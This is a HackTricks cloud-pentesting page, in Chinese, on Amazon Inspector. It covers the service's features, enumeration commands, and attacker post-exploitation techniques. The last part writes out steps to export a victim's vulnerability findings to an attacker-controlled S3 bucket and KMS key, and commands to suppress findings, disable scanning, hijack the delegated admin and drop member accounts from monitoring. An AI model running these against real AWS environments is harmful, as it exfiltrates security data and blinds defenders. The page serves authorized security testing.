AWS - Inspector Enum

AWS - Inspector Enum

支持 HackTricks

Inspector

Amazon Inspector 是一项先进的自动化漏洞管理服务,旨在增强您的 AWS 环境的安全性。该服务持续扫描 Amazon EC2 实例、Amazon ECR 中的容器镜像、Amazon ECS 和 AWS Lambda 函数,以查找漏洞和意外的网络暴露。通过利用强大的漏洞情报数据库,Amazon Inspector 提供详细的发现,包括严重性级别和修复建议,帮助组织主动识别和解决安全风险。这种全面的方法确保了在各种 AWS 服务中强化的安全态势,有助于合规性和风险管理。

关键要素

发现

Amazon Inspector 中的发现是关于在 EC2 实例、ECR 存储库或 Lambda 函数扫描过程中发现的漏洞和暴露的详细报告。根据其状态,发现被分类为:

  • 活动:发现尚未修复。

  • 已关闭:发现已被修复。

  • 抑制:由于一个或多个 抑制规则,发现被标记为此状态。

发现还被分类为以下三种类型:

  • 软件包:这些发现与安装在您资源上的软件包中的漏洞有关。示例包括过时的库或具有已知安全问题的依赖项。

  • 代码:此类别包括在运行于您 AWS 资源上的应用程序代码中发现的漏洞。常见问题是编码错误或不安全的做法,可能导致安全漏洞。

  • 网络:网络发现识别网络配置中的潜在暴露,攻击者可能会利用这些暴露。这些包括开放端口、不安全的网络协议和配置错误的安全组。

过滤器和抑制规则

Amazon Inspector 中的过滤器和抑制规则帮助管理和优先处理发现。过滤器允许您根据特定标准(如严重性或资源类型)细化发现。抑制规则允许您抑制某些被认为是低风险、已被缓解或出于其他重要原因的发现,防止它们过载您的安全报告,并允许您专注于更关键的问题。

软件材料清单 (SBOM)

Amazon Inspector 中的软件材料清单 (SBOM) 是一个可导出的嵌套清单,详细列出了软件包中的所有组件,包括库和依赖项。SBOM 有助于提供软件供应链的透明度,从而实现更好的漏洞管理和合规性。它们对于识别和缓解与开源和第三方软件组件相关的风险至关重要。

关键特性

导出发现

Amazon Inspector 提供将发现导出到 Amazon S3 存储桶、Amazon EventBridge 和 AWS Security Hub 的能力,使您能够生成已识别漏洞和暴露的详细报告,以便在特定日期和时间进行进一步分析或共享。此功能支持多种输出格式,如 CSV 和 JSON,使其更易于与其他工具和系统集成。导出功能允许自定义报告中包含的数据,使您能够根据特定标准(如严重性、资源类型或日期范围)过滤发现,并默认包含您当前 AWS 区域中所有处于活动状态的发现。

导出发现时,需要一个密钥管理服务 (KMS) 密钥来加密导出过程中的数据。KMS 密钥确保导出的发现受到保护,防止未经授权的访问,为敏感漏洞信息提供额外的安全层。

Amazon EC2 实例扫描

Amazon Inspector 提供强大的扫描能力,用于检测 Amazon EC2 实例中的漏洞和安全问题。Inspector 将提取的 EC2 实例元数据与安全建议中的规则进行比较,以生成软件包漏洞和网络可达性问题。这些扫描可以通过 基于代理无代理 方法进行,具体取决于您帐户的 扫描模式 设置配置。

  • 基于代理:利用 AWS Systems Manager (SSM) 代理进行深入扫描。此方法允许直接从实例进行全面的数据收集和分析。

  • 无代理:提供一种轻量级替代方案,无需在实例上安装代理,创建 EC2 实例每个卷的 EBS 快照,查找漏洞,然后删除它;利用现有的 AWS 基础设施进行扫描。

扫描模式决定将使用哪种方法进行 EC2 扫描:

  • 基于代理:涉及在 EC2 实例上安装 SSM 代理以进行深度检查。

  • 混合扫描:结合基于代理和无代理的方法,以最大化覆盖范围并最小化性能影响。在安装了 SSM 代理的 EC2 实例中,Inspector 将执行基于代理的扫描,而在没有 SSM 代理的实例中,执行的扫描将是无代理的。

另一个重要特性是对 EC2 Linux 实例的 深度检查。此功能提供对 EC2 Linux 实例的软件和配置的全面分析,提供详细的漏洞评估,包括操作系统漏洞、应用程序漏洞和配置错误,确保全面的安全评估。这是通过检查 自定义路径 及其所有子目录实现的。默认情况下,Amazon Inspector 将扫描以下路径,但每个成员帐户可以定义最多 5 个自定义路径,每个委派管理员最多 10 个:

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Amazon ECR 容器镜像扫描

Amazon Inspector 提供强大的扫描能力,用于 Amazon Elastic Container Registry (ECR) 容器镜像,确保有效检测和管理软件包漏洞。

  • 基本扫描:这是一种快速且轻量级的扫描,使用来自开源 Clair 项目的标准规则识别容器镜像中的已知操作系统软件包漏洞。使用此扫描配置,您的存储库将在推送时扫描,或执行手动扫描。

  • 增强扫描:此选项在推送扫描的基础上增加了持续扫描功能。增强扫描深入每个容器镜像的层,以更高的准确性识别操作系统软件包和编程语言软件包中的漏洞。它分析基础镜像和任何附加层,提供潜在安全问题的全面视图。

Amazon Lambda 函数扫描

Amazon Inspector 包括对 AWS Lambda 函数及其层的全面扫描能力,确保无服务器应用程序的安全性和完整性。Inspector 为 Lambda 函数提供两种类型的扫描:

  • Lambda 标准扫描:此默认功能识别添加到您的 Lambda 函数和层中的应用程序包依赖项中的软件漏洞。例如,如果您的函数使用具有已知漏洞的库版本(如 python-jwt),则会生成发现。

  • Lambda 代码扫描:分析自定义应用程序代码中的安全问题,检测诸如注入缺陷、数据泄露、弱加密和缺失加密等漏洞。它捕获突出显示检测到的漏洞的代码片段,例如硬编码凭据。发现包括详细的修复建议和修复问题的代码片段。

互联网安全中心 (CIS) 扫描

Amazon Inspector 包括 CIS 扫描,以根据互联网安全中心 (CIS) 的最佳实践建议对 Amazon EC2 实例操作系统进行基准测试。这些扫描确保配置符合行业标准的安全基线。

  • 配置:CIS 扫描评估系统配置是否符合特定的 CIS 基准建议,每个检查都与 CIS 检查 ID 和标题相关联。

  • 执行:扫描根据实例标签和定义的计划执行或安排。

  • 结果:扫描后的结果指示哪些检查通过、跳过或失败,提供每个实例安全态势的洞察。

枚举

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

Post Exploitation

从攻击者的角度来看,这项服务可以帮助攻击者找到可能帮助他攻陷其他实例/容器的漏洞和网络暴露。

然而,攻击者也可能对破坏这项服务感兴趣,以便受害者无法看到漏洞(所有或特定的漏洞)。

inspector2:CreateFindingsReport, inspector2:CreateSBOMReport

攻击者可以生成漏洞或软件材料清单(SBOM)的详细报告,并从您的AWS环境中提取这些报告。这些信息可以被利用来识别特定的弱点、过时的软件或不安全的依赖,从而实现针对性的攻击。

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]

以下示例演示如何将所有活动发现从 Amazon Inspector 导出到攻击者控制的 Amazon S3 Bucket,并使用攻击者控制的 Amazon KMS 密钥:

  1. 创建一个 Amazon S3 Bucket 并附加一个策略,以便从受害者的 Amazon Inspector 访问:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. 创建一个 Amazon KMS 密钥 并为其附加一个策略,以便受害者的 Amazon Inspector 可以使用:

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. 执行命令以创建发现报告并将其导出:

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • 潜在影响: 生成和外泄详细的漏洞和软件报告,获取特定漏洞和安全弱点的见解。

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

攻击者可以取消指定的发现报告或SBOM报告的生成,阻止安全团队及时获取有关漏洞和软件材料清单(SBOM)的信息,从而延迟安全问题的检测和修复。

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • 潜在影响: 中断安全监控,阻止及时检测和修复安全问题。

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

拥有这些权限的攻击者将能够操纵过滤规则,以确定哪些漏洞和安全问题被报告或抑制(如果action设置为SUPPRESS,将创建一个抑制规则)。这可能会使安全管理员无法看到关键漏洞,从而更容易在不被检测的情况下利用这些弱点。通过更改或删除重要过滤器,攻击者还可以通过向系统发送无关的发现来制造噪音,从而妨碍有效的安全监控和响应。

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • 潜在影响:隐瞒或压制关键漏洞,或用无关的发现淹没系统。

inspector2:DisableDelegatedAdminAccount,(inspector2:EnableDelegatedAdminAccount & organizations:ListDelegatedAdministrators & organizations:EnableAWSServiceAccess & iam:CreateServiceLinkedRole)

攻击者可能会显著破坏安全管理结构。

  • 禁用委托管理员账户,攻击者可以阻止安全团队访问和管理Amazon Inspector设置和报告。

  • 启用未经授权的管理员账户将允许攻击者控制安全配置,可能会禁用扫描或修改设置以隐藏恶意活动。

未经授权的账户必须与受害者在同一组织中才能成为委托管理员。

为了使未经授权的账户成为委托管理员,还要求在合法的委托管理员被禁用后,并在未经授权的账户被启用为委托管理员之前,合法管理员必须从组织中注销为委托管理员。这可以通过以下命令完成(organizations:DeregisterDelegatedAdministrator 权限要求):aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • 潜在影响: 安全管理的中断。

inspector2:AssociateMember, inspector2:DisassociateMember

攻击者可以操纵Amazon Inspector组织内成员账户的关联。通过关联未经授权的账户或取消合法账户的关联,攻击者可以控制哪些账户被纳入安全扫描和报告。这可能导致关键账户被排除在安全监控之外,使攻击者能够在这些账户中利用漏洞而不被发现。

此操作需要由委派的管理员执行。

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • 潜在影响: 关键账户被排除在安全扫描之外,使得漏洞的利用未被检测到。

inspector2:Disable, (inspector2:Enable & iam:CreateServiceLinkedRole)

拥有 inspector2:Disable 权限的攻击者将能够在指定账户上禁用特定资源类型(EC2, ECR, Lambda, Lambda 代码)的安全扫描,从而使 AWS 环境的部分区域未被监控并易受攻击。此外,由于拥有 inspector2:Enableiam:CreateServiceLinkedRole 权限,攻击者可以选择性地重新启用扫描,以避免检测到可疑配置。

此操作需要由委派的管理员执行。

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • 潜在影响: 在安全监控中创建盲点。

inspector2:UpdateOrganizationConfiguration

拥有此权限的攻击者将能够更新您 Amazon Inspector 组织的配置,影响新成员账户启用的默认扫描功能。

此操作需要由委派的管理员执行。

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • 潜在影响: 更改组织的安全扫描策略和配置。

inspector2:TagResource, inspector2:UntagResource

攻击者可能会操纵AWS Inspector资源上的标签,这些标签对于组织、跟踪和自动化安全评估至关重要。通过更改或删除标签,攻击者可能会潜在地隐藏安全扫描中的漏洞,干扰合规性报告,并干扰自动修复过程,从而导致未检查的安全问题和系统完整性受损。

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • 潜在影响:隐藏漏洞、干扰合规报告、干扰安全自动化和干扰成本分配。

参考文献

支持 HackTricks

Last updated